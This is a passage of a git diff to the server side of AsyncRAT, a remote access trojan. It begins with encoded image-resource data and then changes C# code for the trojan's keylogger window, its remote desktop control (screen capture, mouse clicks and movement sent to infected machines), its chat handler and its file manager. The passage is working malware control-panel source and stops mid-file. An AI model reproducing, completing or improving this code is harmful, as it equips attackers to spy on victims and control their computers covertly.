+ AfIB/wGKAdQB8wH/AYoB1AHzAf8BigHUAfMB/wGKAdQB8wH/A10BygMfASw8AAMBAQIDFgEeA1gBvAPZ
+ Af8D2gH/A9oB/wPQAf8D7gH/A/YB/wPoAf8D6AH/A98B/wPCAf8D2QH/A9gB/wPdAf8D3QH/A90B/wPd
+ Af8D3AH/A9wB/wPcAf8D3AH/A90B/wPdAf8D3QH/A90B/wPdAf8D3QH/A9wB/wPcAf8D3AH/A88B/wOn
+ Af8D2wH/A9sB/wPaAf8D2gH/A9kB/wPYAf8DWAG5AxABFgMAAQEcAAM7AWQD2AH/A9kB/wPXAf8D1wH/
+ A9YB/wPUAf8D0wH/A9MB/wPRAf8DvAH/A7oB/wO5Af8DuAH/A7YB/wPEAf8DygH/A8kB/wO3Af8DrwH/
+ A8EB/wPDAf8DwgH/A74B/wOwAf8DpgH/A7QB/wO5Af8DuwH/A7kB/wO4Af8DtwH/A7UB/wO0Af8DswH/
+ A7IB/wOwAf8DRQF98AADUAGdAWsBewGAAfEBkwHbAfsB/wGTAdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGT
+ AdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGSAdkB+QH/AYkBywHpAf8BSgGlAb8B/wFMAakBxAH/AU8BrQHJ
+ Af8BUgGzAdAB/wFbAcEB4AH/AXABzQHuAf8BiwHVAfQB/wGMAdUB9AH/AYoB1AH0Af8BggHRAfMB/wGD
+ AdIB8wH/AYcB0wH0Af8BjAHVAfQB/wGMAdUB9AH/AYwB1QH0Af8BjAHVAfQB/wNdAcoDHwEsPwABAQMT
+ ARoDVwG6A9cB/wPYAf8DyQH/A7IB/wPfAf8D5gH/A+YB/wP+Af8D+AH/A/MB/wPoAf8D1wH/A9UB/wPM
+ Af8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPbAf8D2wH/A9sB/wPb
+ Af8DvgH/A5wB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wNXAbcDDgETAwABARwAAyIBMQPFAf4D2wH/
+ A9kB/wPZAf8D2AH/A9cB/wPVAf8D1QH/A9MB/wPMAf8DuwH/A7UB/wO0Af8DvAH/A8sB/wPNAf8DywH/
+ A7oB/wOxAf8DxAH/A8YB/wPFAf8DtAH/A64B/wOpAf8DrAH/A64B/wO9Af8DvAH/A7oB/wO5Af8DuAH/
+ A7cB/wO2Af8DtAH/A7IB/wMiATHwAANRAZwBawF7AYAB8QGUAdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGU
+ AdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGUAdwB+wH/AZMB2gH5Af8BigHMAeoB/wFLAacBwwH/AVABsAHN
+ Af8BVgG6AdcB/wFcAcMB4wH/AWgBzQHtAf8BhQHTAfMB/wGMAdYB9QH/AYsB1gH1Af8BiAHUAfUB/wGC
+ AdIB9AH/AYMB0wH0Af8BiQHVAfUB/wGMAdYB9QH/AYwB1gH1Af8BjAHWAfUB/wGMAdYB9QH/A1wByQMd
+ ASo/AAEBAxABFgNXAbgD1QH/A9UB/wO5Af8DsgH/A9kB/wPZAf8D2gH/A9oB/wPaAf8D7wn/A/sB/wPb
+ Af8DzgH/A7MB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2gH/A9oB/wPa
+ Af8DrQH/A5QB/wPZAf8D2AH/A9cB/wPWAf8D1AH/A9MB/wNVAbUDDAEQIAADAwEEA2gB9QPcAf8D2wH/
+ A9sB/wPaAf8D2AH/A9gB/wPYAf8D1gH/A9UB/wPUAf8D0wH/A9IB/wPRAf8D0AH/A84B/wPOAf8DvQH/
+ A7MB/wPHAf8DyQH/A8gB/wOxAf8DrgH/A60B/wOrAf8DrgH/A8AB/wO/Af8DvQH/A70B/wO8Af8DugH/
+ A7kB/wO4Af8DZAHsAwABAfAAA1EBnAFrAXsBgAHxAZQB3gH9Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9
+ Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9Af8BkwHcAfsB/wGMAdEB7QH/AVMBtQHSAf8BXQHCAeAB/wFn
+ AckB6gH/AWkBzwHwAf8BhAHSAfQB/wGKAdYB9gH/AY0B1wH2Af8BjAHXAfYB/wGHAdUB9QH/AYMB0wH1
+ Af8BhgHUAfUB/wGMAdYB9gH/AY0B1wH2Af8BjQHXAfYB/wGNAdcB9gH/AY0B1wH2Af8DXAHJAx0BKj8A
+ AQEDDgETA1YBtgPSAf8D0wH/A8wB/wOdAf8D1gH/A9cB/wPYAf8D2QH/A9oB/wPaAf8D2gH/A+kB/wPz
+ Af8D+gH/A+8B/wPnAf8DzwH/A88B/wPHAf8D2wH/A9sB/wPbAf8D2wH/A9oB/wPaAf8D2gH/A9oB/wPa
+ Af8D2QH/A6gB/wOVAf8D1wH/A9UB/wPUAf8D0wH/A9IB/wPRAf8DTAGPAwoBDSQAA1QBrgPeAf8D3QH/
+ A9wB/wPcAf8D2wH/A9oB/wPZAf8D2AH/A9cB/wPXAf8D1QH/A9QB/wPUAf8D0gH/A9EB/wPQAf8DwAH/
+ A7cB/wPLAf8DzAH/A8sB/wOyAf8DsAH/A64B/wOuAf8DswH/A8MB/wPCAf8DwAH/A78B/wO+Af8DvAH/
+ A7wB/wO6Af8DVwG6AwABAfAAA1EBnAFrAX4BgAHxAZMB4AH9Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9
+ Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9Af8BlAHeAfoB/wGMAdIB7gH/AV0BxAHkAf8BcQHOAfAB/wGC
+ AdIB9AH/AYQB0wH1Af8BhgHVAfYB/wGMAdcB9wH/AY4B2AH3Af8BjAHXAfcB/wGGAdUB9gH/AYQB1AH2
+ Af8BigHWAfcB/wGOAdgB9wH/AY4B2AH3Af8BjgHYAfcB/wGOAdgB9wH/AY4B2AH3Af8DXAHJAx0BKkAA
+ AwwBEANWAbQD0AH/A9EB/wPSAf8DbAH/A9QB/wPVAf8D1gH/A9cB/wPYAf8D2AH/A9gB/wPZAf8D2QH/
+ A+EB/wPtBf8D7wH/A90B/wPGAf8DvQH/A9kB/wPZAf8D2QH/A9kB/wPZAf8D2AH/A9gB/wPYAf8D1wH/
+ A6UB/wOpAf8D1QH/A9MB/wPSAf8D0QH/A9AB/wPPAf8DMQFPAwgBCyQAAzoBYgPfAf8D3wH/A94B/wPd
+ Af8D3QH/A9wB/wPbAf8D2QH/A9kB/wPZAf8D1wH/A9YB/wPWAf8D1AH/A9MB/wPSAf8DwgH/A7oB/wPN
+ Af8DzgH/A80B/wPEAf8DwgH/A8AB/wO/Af8DwgH/A8YB/wPFAf8DwwH/A8IB/wPAAf8DvwH/A74B/wO9
+ Af8DSQGH9AADUAGbAWsBfgGAAfEBkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGRAeEB/QH/
+ AZEB4QH9Af8BkQHhAf0B/wGZAd0B9gH/AYkByQHiAf8BggHSAfQB/wGEAdQB9gH/AYQB1AH3Af8BhAHU
+ AfcB/wGIAdYB9wH/AY0B2AH4Af8BjgHYAfgB/wGKAdcB+AH/AYUB1QH3Af8BhQHUAfcB/wGMAdcB+AH/
+ AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wNcAckDHQEqQAADCgEOA0wBkAPM
+ Af8DzgH/A9AB/wNWAf8D0QH/A9IB/wPTAf8D1AH/A9UB/wPVAf8D1gH/A9YB/wPXAf8D1wH/A9gB/wPY
+ Af8D/AX/A9gB/wPFAf8DvwH/A9cB/wPXAf8D1wH/A9YB/wPWAf8D1QH/A9UB/wPUAf8DogH/A78B/wPS
+ Af8D0AH/A88B/wPOAf8DzQH/A8sB/wMhATADBwEJJAADEAEVA7MB/gPgAf8D3wH/A98B/wPeAf8D3gH/
+ A90B/wPcAf8D2wH/A9sB/wPZAf8D2AH/A9gB/wPXAf8D2AH/A9gB/wPIAf8DvgH/A9MB/wPUAf8D0QH/
+ A88B/wPNAf8DzQH/A8sB/wPJAf8DyQH/A8cB/wPGAf8DxQH/A8QB/wPCAf8DwQH/A4YB/AM1AVf0AANQ
+ AZsBawF+AYIB8QGPAeEB/QH/AY8B4QH9Af8BkAHhAf0B/wGRAeIB/QH/AZIB3wH6Af8BlAHcAfYB/wGT
+ AdQB7AH/AYYBzAHnAf8BgwHPAe8B/wGEAdUB+AH/AYUB1QH4Af8BhQHVAfgB/wGFAdUB+AH/AYwB2AH5
+ Af8BjwHZAfkB/wGQAdkB+QH/AYkB1wH4Af8BhgHVAfgB/wGIAdcB+AH/AY8B2AH5Af8BkQHZAfkB/wGR
+ AdkB+QH/AZEB2gH5Af8BkgHZAfkB/wGKAcwB6wH/AVgCWgHAAxwBJ0AAAwgBCwMyAVEDyAH/A8sB/wPN
+ Af8DSAH/A84B/wPPAf8D0AH/A9EB/wPSAf8D0gH/A9MB/wPTAf8D1AH/A9QB/wPUAf8D1QH/A9UB/wPn
+ Bf8D3wH/A7UB/wO8Af8D1AH/A9QB/wPTAf8D0wH/A9IB/wPSAf8D0QH/A6EB/wPPAf8DzwH/A80B/wPN
+ Af8DywH/A8kB/wPIAf8DHwEsAwYBCCgAA14B2QPiAf8D4QH/A+EB/wPgAf8D4AH/A98B/wPeAf8D3QH/
+ A9wB/wPbAf8D2wH/A9oB/wPYAf8DxAH/A8IB/wPDAf8DwwH/A8EB/wO8Af8DygH/A9EB/wPQAf8DzwH/
+ A84B/wPMAf8DzAH/A8sB/wPJAf8DyAH/A8cB/wPFAf8DxAH/A2cB5QMnATv0AANQAZsBaQF+AYIB8QGN
+ AeIB/QH/AY8B4gH8Af8BkAHhAfoB/wGRAd4B9gH/AZIB1gHvAf8BdAHNAegB/wGGAdIB8QH/AYQB0wH0
+ Af8BhAHVAfgB/wGFAdYB+QH/AYUB1gH5Af8BhgHWAfkB/wGHAdcB+QH/AY8B2gH6Af8BkQHbAfoB/wGR
+ AdsB+gH/AYkB1gH4Af8BfwGxAckB/gF0AY8BqwH8AWoBiQGOAfkBZQFzAXcB9AFiAWYBawHvAWABZQFn
+ AegDYQHhA2EB2gNJAYgDEwEaQAADBwEJAyIBMQOuAf4DxgH/A8kB/wM+Af8DywH/A80B/wPOAf8DzwH/
+ A9AB/wPQAf8D0AH/A9EB/wPSAf8D0gH/A9IB/wPSAf8D0wH/A9MB/wPhAf8D5AH/A9IB/wOJAf8D0gH/
+ A9EB/wPRAf8D0QH/A9AB/wPPAf8DzwH/A6AB/wPNAf8DzAH/A8oB/wPIAf8DxgH/A8QB/wO+Af8DGwEm
+ AwQBBigAA1QBpgPjAf8D4wH/A+MB/wPhAf8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3QH/A9wB/wPb
+ Af8D2AH/A8gB/wPEAf8DxgH/A8EB/wPMAf8D1AH/A9MB/wPSAf8D0QH/A9AB/wPOAf8DzgH/A80B/wPL
+ Af8DywH/A8kB/wPIAf8DxwH/A1sBywMYASH0AANQAZoBZQF2AXoB8AGKAeIB/QH/AZIB4gH7Af8BlgHZ
+ Ae0B/wFgAb8B1wH/AWkBzQHtAf8BhQHWAfcB/wGGAdcB+QH/AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/
+ AYYB1wH5Af8BhwHXAfgB/wGKAdcB+AH/AZQB2wH5Af8BmAHcAfkB/wGEAcYB4gH+AZYBuAHCAf0BagGH
+ AYkB+QFgAmIB7wNhAdoDWQG+A1ABnQNBAXIDMAFLAxwBJwMHAQkDAAEBQAADBQEHAx4BKwOqAf4DwQH/
+ A8MB/wPEAf8DrAH/A8kB/wPKAf8DywH/A8wB/wPNAf8DzgH/A84B/wPOAf8DzwH/A88B/wPPAf8DzwH/
+ A9AB/wPQAf8DxQH/A88B/wOIAf8DpAH/A84B/wPOAf8DzgH/A80B/wPMAf8DywH/A54B/wPJAf8DyAH/
+ A8UB/wPDAf8DwgH/A8AB/wOpAf8DGAEhAwQBBSgAA0IBcwPjAf8D5AH/A+MB/wPjAf8D4gH/A+IB/wPh
+ Af8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3AH/A9kB/wPFAf8DwQH/A80B/wPYAf8D1wH/A9YB/wPU
+ Af8D0wH/A9IB/wPRAf8D0QH/A9AB/wPOAf8DzQH/A8wB/wPKAf8DygH/A1YBsQMFAQf0AANQAZoBZgF0
+ AXkB8AGWAdsB8wH/AX8BrAG/Af4BcAGaAbEB/AFuAZUBoAH6AWgBggGJAfUBYgFyAXoB7wFjAWoBbgHo
+ AWEBZAFlAeICXwFhAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4AV4DMAFLAycBOgMfAS0DHAEn
+ AxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOkAf4DvQH/A78B/wPAAf8DtwH/A54B/wOf
+ Af8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/A7oB/wO5Af8DxwH/A8oB/wO4
+ Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/A8AB/wO/Af8DvQH/A7sB/wOL
+ Af8DFAEcAwMBBCgAAy4BSAOAAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPhAf8D4AH/
+ A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPXAf8D1gH/A9UB/wPUAf8D0wH/
+ A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHcA14B1QNcAcwDWQG/A1YBqwNO
+ AZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgENAwYBCAMDAQQDAAEBAwABAVwA
+ AwMBBAMTARoDhwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/AckCygH/A98B/wPRAf8BvwLA
+ Af8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/AdwC3QH/Ac0CzgH/A8cB/wO0
+ Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/A9AB/wPFAf8DwgH/A2kB/wMP
+ ARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPjAf8D4wH/A+IB/wPiAf8D4QH/
+ A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wPVAf8D1AH/
+ A9IB/wPSAf8D0QH/A6oB/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEaAwcBCgMAAQGfAAEBAwgBCwNo
+ Af4DlgH/A2wB/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/AfYC9wH/AfQC9QH/AfIC9AH/
+ AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/Ac8C0AH/A8IB/wPCAf8DwQH/
+ A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyAB/wOTAf8DswH/A1sBxAMGAQgDAAEB
+ MAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5
+ AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzgBXQMj
+ ATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNWAasDVgGrA1YBqwNWAasDVgGr
+ A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGr
+ A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNTAaoDDAEQ
+ AwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB
+ AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB
+ AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFCAU0BPgcAAT4DAAEoAwABwAMA
+ ATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/BgAB/wH4AQ8B/AEBAf8BwAQA
+ AQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYAAf8EAAE/AYAFAAHABAABAwYA
+ Af8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEHAYARAAH+
+ BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsAAf4EAAEHAYAFAAGACwAB/gQA
+ AQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGABAABAQGABAABAQYAAf4DAAEB
+ Af8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYA
+ Af4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHg
+ BAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHA
+ BAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMA
+ AQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEP
+ BgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQAAR8GAAH+AwABDwH/AeAEAAED
+ AfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQAAQcB/AQAAR8GAAH+AwABDwH/
+ AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+
+ AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYAAf4DAAEfAf8B8AQAAQcB/gQA
+ AX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGAAgABAQH/BgAB/gEPBP8B+AQA
+ AQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs=
diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
index 1765746..9926860 100644
--- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
@@ -42,7 +42,6 @@
//
// timer1
//
- this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
@@ -119,12 +118,12 @@
}
#endregion
- private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.ToolStrip toolStrip1;
private System.Windows.Forms.ToolStripLabel toolStripLabel1;
private System.Windows.Forms.ToolStripTextBox toolStripTextBox1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripButton toolStripButton1;
public System.Windows.Forms.RichTextBox richTextBox1;
+ public System.Windows.Forms.Timer timer1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs
index 1cb791e..e5eba56 100644
--- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs
+++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs
@@ -36,11 +36,12 @@ namespace Server.Forms
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{
+ try
+ {
+ Client.Disconnected();
+ }
+ catch { }
Sb?.Clear();
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "keyLogger";
- msgpack.ForcePathObject("isON").AsString = "false";
- ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
index ebe0a62..38b72f5 100644
--- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
@@ -87,6 +87,7 @@
//
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
+ this.btnMouse.Enabled = false;
this.btnMouse.Location = new System.Drawing.Point(550, 3);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(32, 32);
@@ -98,6 +99,7 @@
//
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
+ this.btnSave.Enabled = false;
this.btnSave.Location = new System.Drawing.Point(455, 3);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(32, 32);
@@ -172,8 +174,9 @@
//
// button1
//
- this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
+ this.button1.BackgroundImage = global::Server.Properties.Resources.play_button;
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
+ this.button1.Enabled = false;
this.button1.Location = new System.Drawing.Point(12, 3);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(32, 32);
@@ -241,14 +244,14 @@
public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Panel panel1;
private System.Windows.Forms.Label label1;
- private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
public System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label2;
public System.Windows.Forms.NumericUpDown numericUpDown2;
- private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Timer timerSave;
- private System.Windows.Forms.Button btnMouse;
public System.Windows.Forms.Label labelWait;
+ public System.Windows.Forms.Button btnSave;
+ public System.Windows.Forms.Button btnMouse;
+ public System.Windows.Forms.Button button1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
index 30a6bee..a894363 100644
--- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
+++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
@@ -71,8 +71,8 @@ namespace Server.Forms
{
button2.Top = panel1.Bottom + 5;
button2.Left = pictureBox1.Width / 2;
- button1.Tag = (object)"stop";
- button2.PerformClick();
+ button1.Tag = (object)"play";
+ //button2.PerformClick();
}
catch { }
}
@@ -83,27 +83,29 @@ namespace Server.Forms
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "capture";
+ msgpack.ForcePathObject("Command").AsString = "capture";
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
- ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
+ ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false;
+ btnSave.Enabled = true;
+ btnMouse.Enabled = true;
button1.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_;
}
else
{
button1.Tag = (object)"play";
- try
- {
- Client.Disconnected();
- Client = null;
- }
- catch { }
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("Command").AsString = "stopCapture";
+ ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
numericUpDown1.Enabled = true;
numericUpDown2.Enabled = true;
+ btnSave.Enabled = false;
+ btnMouse.Enabled = false;
button1.BackgroundImage = Properties.Resources.play_button;
}
}
@@ -183,7 +185,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "mouseClick";
+ msgpack.ForcePathObject("Command").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = button;
@@ -208,7 +210,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "mouseClick";
+ msgpack.ForcePathObject("Command").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
@@ -227,7 +229,7 @@ namespace Server.Forms
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- msgpack.ForcePathObject("Option").AsString = "mouseMove";
+ msgpack.ForcePathObject("Command").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx
index 53b21e6..e5b63af 100644
--- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx
+++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx
@@ -123,9 +123,6 @@
131, 17
-
- 273, 17
-
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
index e2e1304..158b878 100644
--- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs
@@ -15,19 +15,39 @@ namespace Server.Handle_Packet
{
public HandleChat(MsgPack unpack_msgpack, Clients client)
{
- FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID];
- if (chat != null)
+ switch (unpack_msgpack.ForcePathObject("Command").GetAsString())
{
- Console.Beep();
- chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString);
- chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength;
- chat.richTextBox1.ScrollToCaret();
- }
- else
- {
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "chatExit";
- ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ case "started":
+ {
+ FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString];
+ if (chat != null)
+ {
+ chat.Client = client;
+ chat.timer1.Start();
+ chat.textBox1.Enabled = true;
+ chat.richTextBox1.Enabled = true;
+ }
+ break;
+ }
+
+ case "chat":
+ {
+ FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString];
+ if (chat != null)
+ {
+ Console.Beep();
+ chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString);
+ chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength;
+ chat.richTextBox1.ScrollToCaret();
+ }
+ else
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "chatExit";
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ break;
+ }
}
}
}
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
index 71286e9..8c13015 100644
--- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs
@@ -24,9 +24,11 @@ namespace Server.Handle_Packet
{
case "getDrivers":
{
- FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
+ FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
if (FM != null)
{
+ FM.Client = client;
+ FM.listView1.Enabled = true;
FM.toolStripStatusLabel1.Text = "";
FM.listView1.Items.Clear();
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
@@ -50,7 +52,7 @@ namespace Server.Handle_Packet
case "getPath":
{
